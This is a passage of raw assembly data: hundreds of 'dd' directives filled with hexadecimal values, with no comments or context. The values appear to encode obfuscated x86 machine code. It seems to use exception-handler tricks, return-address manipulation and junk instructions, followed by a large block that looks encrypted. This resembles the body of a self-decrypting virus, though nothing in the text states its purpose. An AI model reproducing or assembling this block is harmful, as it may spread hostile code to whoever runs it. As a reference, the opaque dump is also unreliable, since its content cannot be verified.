		dd 0D7163F6Ch, 0C72EB997h, 8DAD0BC5h, 2B85B085h, 9BD8B06h
		dd 9006282Dh, 830F5350h, 6, 800Fh, 905F0000h, 35FF64h
		dd 8B000000h, 283489BDh, 25896406h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4AC35343h
		dd 0C9B33A11h, 0BD2E5F8h, 2803DD9Dh, 5985FF06h,	6A062816h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 9B87C355h, 4148A94Fh, 8896A85Bh, 80DBB70Fh
		dd 0FF6A3AEBh, 1753BF66h, 2955B5FFh, 6A0628h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0EE9174C3h
		dd 45236EF5h, 17ED9D03h, 95FF0628h, 6282DC1h, 166E9h, 870F5600h
		dd 3, 5BDE8B66h, 0BE900B0h, 0D3000000h,	0F0492A51h, 0B7C8D6B0h
		dd 70E63814h, 0AD858B60h, 0F062814h, 685h, 499D8B00h, 61062827h
		dd 0BD8971E4h, 6281F15h, 830F613Ch, 123h, 0F09B529h, 9D890628h
		dd 6281FA5h, 0E9C8B60Fh, 8, 3651675Dh, 2807B8BCh, 6BAh
		dd 4B71BF00h, 0C18B495Fh, 6E8h,	0F04DD000h, 8B9F1974h
		dd 28083DBDh, 8B0F5F06h, 0
		dd 3304E8C1h, 282175BDh, 0E2F76606h, 29719D89h,	0C82B0628h
		dd 8BDEBF0Fh, 559D33D1h, 0E9062818h, 14h, 0FE9h, 8F783500h
		dd 0C4045145h, 12F3E692h, 8009853Ch, 149D858Bh,	0BE80628h
		dd 66000000h, 222E5AE9h, 6022CD03h, 853178ABh, 62829B5h
		dd 7C0835Bh, 6350DB81h,	0C083012Fh, 0D8D0F00h, 0E9000000h
		dd 8, 0F1392302h, 0F70BF796h, 23BDB529h, 0D03B0628h, 8830Fh
		dd 5CE90000h, 0F000000h, 8D8BD9B7h, 62825B5h, 5FFE8B53h
		dd 6EA4BB66h, 0F01E183h, 4284h,	3800F00h, 0F000000h, 0A583DBB7h
		dd 62825B5h, 8E8FEh, 0A2D20000h, 0F09435CEh, 0DE8B2A15h
		dd 0D88B665Bh, 149D9589h, 0FE90628h, 15000000h,	0A370D4DCh
		dd 76F71B15h, 7D653C72h, 0E99465h, 8D000000h, 2BE0B3B5h
		dd 0D98B6606h, 0C781006Ah, 5E906045h, 46595FFh,	85890628h
		dd 6280DEDh, 0B9FBB70Fh, 83Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 84C35646h, 58C8E109h, 6AFCE183h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0A81CC352h, 481C3B41h, 82257AFAh,	0DC99D8Bh
		dd 6AFC0628h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 7E73C352h, 12E8605Bh, 29000000h
		dd 0A5783B6Dh, 9549894Ah, 5739610Ah, 74BA82F2h,	0A98D89DBh
		dd 5B062820h, 1E6DBD29h, 0B8610628h, 0
		dd 1E1DBD89h, 0BA0628h,	1000000h, 2818DD9Dh, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 0BD8B50F4h, 6282691h,	51006A5Bh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0F0A9071Fh, 7B293350h, 0EF81B30Ch, 677A34BCh, 0CDDB531h
		dd 880D0628h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 4F1EC350h, 0B6EDFB72h
		dd 15958BB7h, 81062807h, 0D39C1FCBh, 8BDF8B14h,	2821BD8Dh
		dd 0DBBF0F06h, 0C28B50F9h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 90E7C351h, 68B0Fh, 9D230000h
		dd 6282B51h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	0DAC35040h, 8C6B9B33h, 8BDB25CDh, 281271BDh, 0A1BD8306h
		dd 62825h, 6A840Fh, 9D090000h, 6281E75h, 0B8h, 2ABF6600h
		dd 6E8D8DCAh, 0E806284Fh, 11h, 482A763Fh, 56E02E88h, 0F41DB1A9h
		dd 5B7B5E67h, 199D034Ah, 5F062827h, 6AE1FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 925D14C3h
		dd 11E96A25h, 2E000000h, 23B5CD1Ch, 0A179989Ah,	43B27637h
		dd 21409D3Ah, 113DBD83h, 0F000628h, 41B84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0E80FC708h, 8, 52867CCCh, 5D5C7659h,	22F608BFh, 83F95B73h
		dd 28113DBDh, 840F0106h, 3F7h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 3DC35141h, 48FCF5C4h, 126DF6DAh
		dd 2870FE6h, 8A000000h,	3DBD83DAh, 3062811h, 387860Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0FF5A90C3h, 712F27FAh, 66F88B42h,	606AD0BBh
		dd 25598D09h, 8C660628h, 3D9D31D9h, 8006281Eh, 0BB6604E1h
		dd 0C90A5765h, 10A840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 8166A3C3h, 8B5E8CCFh
		dd 2824C985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 55F9F58Bh, 9E86012h, 6A000000h, 463AC2F5h
		dd 0D1327AE9h, 615FCF8Bh, 0E9D9D8Bh, 85330628h,	6282D05h
		dd 0F94DEB81h, 8B900BFBh, 11E850D9h, 0E0000000h, 9B438974h
		dd 214ACD1Bh, 0A73BE290h, 265962F7h, 905FFA8Ah,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 42C35040h, 436F5AE0h
		dd 6AA042E1h, 0A5BF6600h, 0D4E568A1h, 6060C177h, 0FDE7BF66h
		dd 3F07BA66h, 148C0F61h, 0E8000000h, 0Eh, 0A9DE07FEh, 21E7549h
		dd 16274B60h, 61587A4Fh, 1A240481h, 663EA72Fh, 95FFDF8Bh
		dd 628176Dh, 1FF98D29h,	85890628h, 62BA3FDh, 0C4E9A6B7h
		dd 89000001h, 281EB195h, 0D8BF0F06h, 0A3F5858Bh, 0BD8B062Bh
		dd 6281D71h, 1800C7h, 0B5890000h, 6282F4Dh, 0A3F9B58Bh
		dd 5E9062Bh, 6A000000h,	48D15F09h, 2B65858Bh, 6A0628h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 62ADB7C3h, 0F8AEB4A7h, 0E7810689h, 4F4703F9h, 24C9858Bh
		dd 8D890628h, 628196Dh,	89044689h, 2805DD9Dh, 8B669606h
		dd 0DC8A50D8h, 52006A96h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0F0958F48h, 14E853h, 57870000h
		dd 35593300h, 0E0E1B1C5h, 27530B03h, 42C7652Eh,	0FE8C296h
		dd 96000000h, 90691EEAh, 0A3A5037Ah, 0E02CFD78h, 5F5FF2E4h
		dd 0E98D895Bh, 0FF062833h, 2BA3F5B5h, 0FE806h, 60340000h
		dd 6458804Dh, 0B92D76F8h, 56740744h, 0BD8B6015h, 6280D75h
		dd 0DC99D01h, 5B610628h, 4E8h, 1F03FF00h, 60606000h, 50616161h
		dd 0FE8h, 7B8CF900h, 5F668441h,	17213B54h, 3BD05F02h, 258FBF66h
		dd 24448B5Fh, 8B1DB704h, 0D88B6600h, 4244489h, 41958958h
		dd 8D062824h, 2BA3FD85h, 8D0F6006h, 6, 1A01B509h, 90610628h
		dd 8E9h, 0FCE1F500h, 22071234h,	52505022h, 5E8h, 23281000h
		dd 0F5F609Fh, 8B666031h, 8E8D9h, 5E8A0000h, 0EE4AC20h
		dd 615A8F79h, 6A90585Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 3800C353h, 303A3C59h
		dd 3119038Eh, 2820A985h, 0F8BF0F06h, 176D95FFh,	81660628h
		dd 512D2CC3h, 321D9D8Bh, 615B0628h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 96C35747h, 0D81E0B80h, 0D488BB66h
		dd 113D85C7h, 30628h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0CECA12C3h, 62F268Dh
		dd 9E9ADh, 0ED740000h, 71699149h, 832E6874h, 2BA3FDBDh
		dd 840F0006h, 0Dh, 2B01BD8Bh, 1DE90628h, 8B000000h, 0C3050FAh
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0CA59529h
		dd 9D090628h, 628294Dh,	113DBD83h, 0F030628h, 4BA85h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 11E9C930h, 50000000h, 6370144Fh, 0CA804F7Ch,	82B7F6D4h
		dd 0B19A328Dh, 0A3FDBD83h, 0F00062Bh, 47A84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 65D6C7E9h, 35BF0E7Fh, 0FF353585h, 2BA3FDB5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0D68EADABh, 8B66C98Eh, 9595FFD8h, 6A06280Eh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0BBC4C353h, 8BFC0466h, 2BA3F1B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 5557428Eh
		dd 0ADD477E0h, 17B1BD8Bh, 85890628h, 62802B1h, 106C7h
		dd 8D010001h, 62818D5h,	0F606096h, 81h,	5E900h,	40250000h
		dd 617326D9h, 8B0F5061h, 16h, 11E9h, 95B8CA00h,	0DFE30BF3h
		dd 0D7A1299h, 7289E569h, 6A961365h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0D133C352h
		dd 0C974A0B4h, 0BA9443Bh, 2814E1BDh, 0FDB5FF06h, 60062BA3h
		dd 55D8D09h, 9D8B0628h,	6281EC1h, 1995FF61h, 66062820h
		dd 0B58BFA8Bh, 62BA3F1h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 75C35242h, 0AE9FEFBh,	45000000h, 79FFEF2Fh
		dd 755FCDEEh, 319D8BD4h, 8B062802h, 2817D585h, 68E0F06h
		dd 89000000h, 281F3185h, 0C5BD8B06h, 89062812h,	0C486h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 4BBF9962h, 0A5CF524h, 9D894722h,	6282B29h
		dd 715958Bh, 6A0628h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 8BA6D3C3h
		dd 70987BA5h, 8B3ED2A7h, 281A0DBDh, 4C28306h, 32B1BD8Bh
		dd 0BD8B0628h, 6281285h, 6A205089h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0A21BC350h
		dd 0EE0E933Dh, 9D8B5394h, 6281481h, 0D9858D5Bh,	81062BB8h
		dd 86CAE6C3h, 0B886896Ah, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0E873C356h
		dd 0F5006AF6h, 0A3FDB5FFh, 6A062Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 363387C3h
		dd 0D195FF9Eh, 0E806282Ch, 0Eh,	17FA4F96h, 0B2AD8715h
		dd 6CE3528h, 85892D1Eh,	6280F99h, 7D9D8B5Fh, 96062832h
		dd 2800F52h, 60000000h,	66505F61h, 9658FABBh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 88C35747h, 0BF0F6E72h
		dd 4DBD8BF9h, 0FF062822h, 2BA3FDB5h, 9D896006h,	628235Dh
		dd 4DB53360h, 0F06281Ah, 87h, 0E8616100h, 11h, 0BD5B9496h
		dd 23400F64h, 9643EEF7h, 0C678281h, 0BD31517Fh,	628298Dh
		dd 95FF5B5Fh, 62829B9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0A0C35242h, 34698529h, 0BD830628h, 6280C55h
		dd 3A840F00h, 8B000000h, 282355BDh, 5B35006h, 6A243489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 2CA9C352h, 2D593BECh, 1ADF0E52h, 3870Fh
		dd 0BF0F0000h, 0FDB5FFDBh, 31062BA3h, 281165B5h, 8595FF06h
		dd 6A062822h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0ECEBC353h, 0A3FDB5FFh, 0BF0F062Bh
		dd 0C195FFF8h, 0E8062810h, 12h,	7BB4A270h, 2D0B45E9h, 71578E3Ch
		dd 82443E9Ah, 0BB66FDCCh, 835B326Ah, 281861BDh,	840F0206h
		dd 3Ah,	0F259D8Bh, 858B0628h, 6281259h,	0C6DEBF0Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8D2965C3h, 6280C75h,	20858D01h, 85C70628h, 6281305h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0E0C35747h
		dd 9C2A8202h, 8E9C058h,	0A7000000h, 122787EFh, 8BEE0C68h
		dd 12E8F9h, 76E20000h, 7ABF02B7h, 1C384D28h, 99996497h
		dd 0A1667E84h, 1C6EB81h, 0E95F4BF0h, 0FFFFF2F6h, 0C8F0Fh
		dd 8F0F0000h, 6, 0C4BBDB81h, 0C18B12BDh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 63C35141h, 36B7DAEBh
		dd 25C8C40Ah, 0F99D8BA8h, 9062816h, 281E0995h, 4E906h
		dd 96B40000h, 0E8E925A4h, 4A000004h, 2068379h, 0B5B93634h
		dd 666AE7E9h, 1D219E94h, 0D2D55250h, 6A683584h,	201AE9EDh
		dd 0D2D49FA3h, 87815155h, 0EE54E40Ah, 795FE02Eh, 0A602774Ah
		dd 9338E046h, 7A3C7F73h, 464010E6h, 1FE5B4DAh, 5AEE5452h
		dd 1210DD91h, 0C7C19195h, 241EEEA2h, 7F7D4BFFh,	8F4DB313h
		dd 0A97F7393h, 0B08A53E7h, 29F97F38h, 0E3AEB22Fh, 71E23B17h
		dd 85B72033h, 0E551B7B9h, 62F6F0BFh, 10DD0341h,	0DDA87E12h
		dd 3302B6DBh, 91601439h, 0EFBE7297h, 7004D0F5h,	4B91F7B7h
		dd 0ED7F73D1h, 0E77BC52Bh, 0DBDDA82Eh, 0DEFC205Eh, 0EEA09801h
		dd 5E2E0498h, 884B3F64h, 4C7F7337h, 5F1A9750h, 57BB31D3h
		dd 54h,	1610E084h, 93D9FDF1h, 0F1FD7F73h, 6F03F9CBh, 96F6B66Fh
		dd 7393E830h, 4842127Fh, 6D3ACE90h, 0BB312F0Ch,	1AAh, 12E0D700h
		dd 6D3BEF14h, 0C4964A6Fh, 57CFA9CEh, 4C4A189Eh,	1FBCBCFh
		dd 9CF3595h, 2B7F7393h,	4197FD69h, 0F37F7393h, 137C9D31h
		dd 0F01513E0h, 9C3CA202h, 987F7393h, 9E6C42D6h,	16B47BA0h
		dd 0C0AD75Dh, 0C1BB8B8Fh, 1A1CE89Ch, 3BC02F5h, 312D0386h
		dd 8FB3BBh, 0E0E00000h,	7B7D4913h, 2E3E6E56h, 738EDC4Ah
		dd 33E70C72h, 23F95F67h, 557F73BAh, 54082D93h, 0B2668B85h
		dd 0F9C5EAE0h, 9AF2AC65h, 3A3BEE12h, 7810E4EFh,	9DCD7F6Bh
		dd 2557B6FBh, 4C345957h, 3FFFB8B8h, 77A379DFh, 13D57F73h
		dd 0DEDCA97Fh, 92905D61h, 34320026h, 5123D7A0h,	53591D91h
		dd 69CF1CEFh, 0D7FB5144h, 9DC2A02Ah, 6B6BFF17h,	0A25435B2h
		dd 3F62BB31h, 8F000000h, 0F01513E0h, 4A6F713Ch,	0C44A0365h
		dd 615F2DF7h, 71EE543Ch, 0E12E008h, 739370A8h, 0BCBE8A7Fh
		dd 0C2124204h, 0B2C5F0CDh, 0A498BD23h, 7F737971h, 73F0A9A5h
		dd 0BB321906h, 1B0h, 14E0DD00h,	6939ED12h, 12DD036Fh, 0E7B37C10h
		dd 50521D43h, 71D7432Bh, 7F7393ABh, 77770BCDh, 6A6C38BEh
		dd 92AFDEDh, 8CEC379Dh,	28E755Bh, 3FE8D35Ah, 0B9A2CF9Ah
		dd 0CF46ED3Ah, 2ADE0369h, 0DFE3605Ah, 0FCF0150Fh, 795BD8DAh
		dd 0E944DAFh, 0C3C7443Eh, 698DF9F3h, 443DB423h,	0AD238DAh
		dd 2E795B0Bh, 0A972066Ch, 62B25F5h, 62E8A13Fh, 201B9892h
		dd 0C159C759h, 0A573D939h, 0CF795B37h, 9D3BA10Dh, 97795B37h
		dd 485541D5h, 82000001h, 980421F4h, 5B5E9F32h, 0D33F0175h
		dd 4DE1DFADh, 600D084h,	0CF08769Ah, 85880E6h, 1ADC795Bh
		dd 7C7FA0EAh, 2989C7E8h, 0E5E2B305h, 7EF0D8F2h,	795B0A5Eh
		dd 0AE8418DAh, 0A078DEDEh, 0D4795B0Ah, 9987AC12h, 80A5A773h
		dd 5E2E0498h, 0CA783F64h, 836157A6h, 43110C81h,	0D2382045h
		dd 0FF853E3Eh, 0BDB8352Fh, 0C15985BCh, 3FFAh, 1FF42700h
		dd 0D0729602h, 8B5F6230h, 0B31929BDh, 0FF738245h, 54486D2Fh
		dd 0FF738284h, 77E9A206h, 0AB117DA2h, 7F73824Dh, 0D3F96527h
		dd 54750903h, 8850B616h, 0AC7F7382h, 9C7D56EAh,	84000000h
		dd 980421F4h, 1FD10774h, 49DD8979h, 0A500D339h,	7032755Bh
		dd 0CDC7974Bh, 827C4C50h, 281EF016h, 1AD7CB94h,	8D795BA2h
		dd 1CEC722Bh, 767A522h,	5BA27BA1h, 0A46FFD79h, 2F957DA2h
		dd 0DD06D99Bh, 4B534D71h, 8ABAB483h, 0AB3F58DDh, 7A6E359Bh
		dd 2E547377h, 73CF6361h, 501F45B1h, 0DD433156h,	73271D3Fh
		dd 7D117739h, 363000B4h, 8F915D11h, 0E9EBB66Ah,	0A65FFDC4h
		dd 550EA2ECh, 87F310E3h, 4989261h, 0CE3494F4h, 73271D0Eh
		dd 0CED09C2Ah, 97BED468h, 91790BEEh, 0F4E952CFh, 6B6D3821h
		dd 6C339905h, 6755F60h,	9B6B1F44h, 6FD535A1h, 795FE7A9h
		dd 547509CBh, 1A808050h, 795FE7C2h, 294EB476h, 0D0911C35h
		dd 332DFC9Eh, 8C8E5A0Eh, 4902A067h, 6BF378Fh, 4AB6B080h
		dd 2A5C5224h, 0A8C95D5Fh, 0B5DAD4A4h, 14392F01h, 75FBB448h
		dd 2A2EABA5h, 843B605Ah, 3, 0E03A878Bh,	40F4190Fh, 9D517670h
		dd 0F7ABD0D2h, 55092E28h, 0B1658A88h, 0DC1E6E4h, 6C20453Bh
		dd 0C5799EA0h, 0FFD4F9F7h, 81E28952h, 4C2h, 4BF5700h, 29000000h
		dd 14875FFAh, 5F685C24h, 8900002Fh, 29682404h, 8900002Bh
		dd 2EB8241Ch, 0C11CCD56h, 0B95102E8h, 0
		dd 5991C129h, 0C103E0C1h, 0E33503E8h, 541EE0D9h, 83241C8Bh
		dd 0B95104C4h, 8, 3841C181h, 0D9010046h, 3841E981h, 1890046h
		dd 241C8B59h, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 5224048Bh
		dd 0C281E289h, 4, 8704C283h, 0E95C2414h, 0FFFC0761h, 0B897A71Bh
		dd 62C77EFh, 0E0FFC503h, 7EFAF83Dh, 0EDEC515h, 6370CD95h
		dd 298116CEh, 5332C526h, 461801EAh, 50DA398Eh, 53C1B695h
		dd 75C931E9h, 2C05858Dh, 0FE90628h, 86000000h, 1EA202C0h
		dd 0C2A9F9D1h, 39F3A3E6h, 0E89077A1h, 9, 0ED85131h, 817FDE25h
		dd 5B5B51C9h, 0DA8B6650h, 95BD0190h, 6A06280Fh,	0DE800h
		dd 269D0000h, 0B480197Fh, 0E02F3081h, 0BB6B8341h, 0ACD81A1h
		dd 6A006A5Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 912FC353h, 32649A57h, 40581C2Bh
		dd 3992F781h, 858D04F9h, 62C7A6Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0D9C35141h,	90F2CD53h, 1509BBEDh
		dd 0C08359C6h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 9F737795h, 9D5CB6F0h
		dd 1860FC2h, 0F9000000h, 80CEBB66h, 5E85090h, 35000000h
		dd 0B748CFB6h, 905FD88Bh, 0BD89006Ah, 628070Dh,	0B70F006Ah
		dd 3195FFFBh, 6A062824h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0C91FC350h,	445A5FACh
		dd 0FBBF7C6Eh, 8D6445E3h, 2B94F38Dh, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 4CB34FC5h
		dd 6830F60h, 8B000000h,	280E9195h, 118D8906h, 61062811h
		dd 6AD1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 783BDC3h,	0AE7CB40Dh, 81663BA3h, 835C00C3h
		dd 282415BDh, 850F0106h, 2Ah, 33CD9D8Bh, 26A0628h, 90DAB70Fh
		dd 50DA8B66h, 0E890DF8Bh, 5, 25C20E5Fh,	95FF5B1Ah, 6282CD1h
		dd 2ED59D0Bh, 0D0E90628h, 0E800000Ch, 0
		dd 77ED815Dh, 0B3062C7Ah, 51006A35h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 89DA8AA7h
		dd 282EB5B5h, 0F5B58906h, 8D06280Eh, 2B85B085h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0F55697C5h, 759D895Fh, 90062820h, 13E9h, 0DB8D7500h
		dd 962D1545h, 90704B3Bh, 1A15A01Bh, 8C28B3EBh, 0FD8A9050h
		dd 35FF64h, 8B000000h, 319D89FEh, 64062826h, 2589h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 37DD80C3h, 8D0F2642h, 6, 1869BD8Bh, 85FF0628h, 6281659h
		dd 58FA30BBh, 6AFF6A6Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8BD7C356h, 280C4D9Dh
		dd 0BDB5FF06h, 6A062801h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 89E0C353h, 28188985h
		dd 0C195FF06h, 0E906282Dh, 12Bh, 2DC59529h, 0B00628h, 989ED781h
		dd 70E6585Bh, 0C9E38166h, 1D9D290Bh, 0E4062817h, 7E971h
		dd 0AC910000h, 9FC563C7h, 0F613CD2h, 0FA83h, 68A0F00h
		dd 89000000h, 282CD98Dh, 0C8B60F06h, 191D8D01h,	6BA0628h
		dd 9000000h, 28029585h,	88F0F06h, 52000000h, 1A35BD89h
		dd 8B5B0628h, 0A6CF80C1h, 0F04E8C1h, 686h, 99D8900h, 8B062811h
		dd 280479BDh, 0E2F76606h, 31F9BD89h, 0C82B0628h, 8B6ACF80h
		dd 0DE9D1h, 50A10000h, 635D579Ah, 6D5F351Bh, 0BF19C4E1h
		dd 3E37938Dh, 3E9h, 0F98B6600h,	2FC1858Bh, 85290628h, 6282055h
		dd 83FA8B66h, 0DB8007C0h, 0C0835Ah, 0EE8h, 5D843600h, 0C03512C2h
		dd 0E672F01Bh, 0BBA061D3h, 3534ECF6h, 0FD03B5Bh, 0D83h
		dd 3CC78100h, 0E94721A6h, 3Fh, 8D8BD98Ah, 6282D91h, 2595BF66h
		dd 0F01E183h, 2A84h, 0BDBD8B00h, 8306280Ch, 282D91A5h
		dd 8531FE06h, 6280185h,	32159529h, 95890628h, 6282FC1h
		dd 0FA9B531h, 0E90628h,	8D000000h, 2BEA6FB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 6A006A3Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 6C8C353h, 76D9D0Bh, 95FF0628h
		dd 6280465h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	44C35141h, 8D89A6BAh, 628070Dh,	839B9h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0D10D52D2h, 0C699FB4Eh, 0BD8BE1BDh, 6281511h, 6AFCE183h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 7E6BC356h, 2BFC8903h, 280DF1BDh, 0B806h
		dd 0B5890000h, 6282961h, 17E5B589h, 0D22B0628h,	9E8h, 1F6A8600h
		dd 0ACA8A110h, 58BF812Ch, 5F601E4Ah, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	5AC35141h, 0A4DD8785h, 9D03CA86h, 62801ADh, 0EECB80F8h
		dd 880Dh, 719D8900h, 31062811h,	282AE9BDh, 15958B06h, 89062807h
		dd 2819E195h, 0BD8D8B06h, 0E9062821h, 6, 2CEF99Ch, 8A0F2630h
		dd 0
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0E66517C3h, 0AFB5E1CCh, 2D59BD8Bh, 9E80628h,	13000000h
		dd 794B2E1h, 0A4F5DC84h, 69E38166h, 0BD835F01h,	62825A1h
		dd 20840F00h, 0F9000000h, 0B8h,	8D8DF500h, 6284F6Eh, 1A1D9D8Bh
		dd 0BD8B0628h, 6282EC5h, 0D2BBE1FFh, 8332BB84h,	28113DBDh
		dd 840F0006h, 3DDh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 17h, 21C35040h, 8B0C2833h,	3DBD83F8h, 1062811h
		dd 3CA840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0C62168C3h, 937BD6F5h, 0FFBF0F8Ch
		dd 113DBD83h, 0F030628h, 36186h, 0EDBD8900h, 106281Fh
		dd 281951BDh, 0BD296006h, 6282CF9h, 6AD98C66h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 1CCAC352h, 4E180C9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 4CC35040h, 0C0742922h, 66B8FE20h, 0C90AFA8Bh
		dd 0F7840Fh, 8D0F0000h,	1, 0C9858BF9h, 6A062824h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 2DCBC350h, 309640FCh, 8A60E8EAh, 6D9D8BEEh, 61062834h
		dd 2D058533h, 0CE90628h, 8F000000h, 354D7FBAh, 96BC9451h
		dd 50BD5B94h, 28A0Fh, 5B510000h, 89240489h, 280E69BDh
		dd 0BB006A06h, 4173F0DEh, 5E373E68h, 0F52506Ah,	684h, 880F00h
		dd 0F000000h, 59576031h, 0AE8h,	2D0E5000h, 0AFE64641h
		dd 5A10A437h, 81585A61h, 34C12434h, 6A6A41h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0BF2890C3h
		dd 61B377D7h, 176D95FFh, 6A0628h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0D49063C3h, 85894B84h
		dd 62BA3FDh, 31E38166h,	16CE9A6h, 0BF0F0000h, 0F5858BD8h
		dd 89062BA3h, 280755B5h, 1800C706h, 29000000h, 2824F195h
		dd 0F9B58B06h, 8B062BA3h, 281909BDh, 65858B06h,	6A06282Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0AC31C353h, 94EC37E7h, 8B6688E9h,	0E80689FAh
		dd 0Bh,	29CD6869h, 34DB960Dh, 890A79A3h, 2814119Dh, 858B5B06h
		dd 62824C9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	1C35141h, 4468909h, 0EE996h, 0F17D0000h, 3334212h
		dd 86EAEE2Ch, 66E50420h, 275FBF50h, 6A962610h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
